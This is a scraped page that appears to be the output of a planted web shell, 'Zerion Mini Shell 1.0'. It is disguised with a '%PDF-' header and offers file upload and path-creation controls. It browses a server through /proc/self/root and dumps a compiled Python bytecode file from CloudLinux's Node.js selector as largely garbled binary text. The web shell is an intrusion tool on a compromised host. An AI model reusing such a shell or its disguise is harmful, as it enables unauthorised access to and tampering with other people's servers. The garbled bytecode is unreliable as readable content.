%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/clselect/clselectnodejs/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/clselect/clselectnodejs/__init__.pyc

�
i�B^c@`s�ddlmZddlmZddlmZddlZddlZddlZddlmZdZ	dZ
dje
�Zd	Z
d
efd��YZdefd
��YZd�Zd�Zd�ZdS(i(tprint_function(tdivision(tabsolute_importN(tBaseSelectorErrors"/usr/share/l.v.e-manager/cl.nodejss
alt-nodejss/opt/alt/{}s"/root/usr/share/node/node-version-tNodeJSErrorcB`seZdZRS(s9Top level error class for admin's part of NodeJS selector(t__name__t
__module__t__doc__(((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/clselectnodejs/__init__.pyRstNodeJSConfigErrorcB`seZdZRS(s"Generic error class for NodeConfig(RRR(((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/clselectnodejs/__init__.pyR scC`s-t|t�stStjd|�s)tStS(s>Return True if specified MAJOR version is valid for processings
^[1-9][0-9]*$(t
isinstancetstrtFalsetretmatchtTrue(tver((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/clselectnodejs/__init__.pytis_major_version%s
cC`sFytjt�Wn.tk
rA}|jtjjkrB�qBnXdS(N(tostmakedirst
CONFIG_DIRtOSErrorterrnotEEXIST(te((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/clselectnodejs/__init__.pytcreate_config_dirs.s
cC`s�i}x�tjdjtt��D]h}|jt�d}|sGq"ntt|jd�d��}i|d6djt|�d6||<q"W|S(sD Search CL NodeJS interpreters and return dict with info about them s{}*{}*it.itfull_versions	{}{}/roott	root_path(tglobtformattALT_NODE_PREFIXtNODE_VERSION_GLOBtsplitR
tint(trestfoldertfull_vertmaj_ver((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/clselectnodejs/__init__.pytscan_node_versions6s(t
__future__RRRRRRtclselect.baseclselectRRt	ALT_NAMESRRRRRRRR&(((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/clselectnodejs/__init__.pyt<module>s			

Zerion Mini Shell 1.0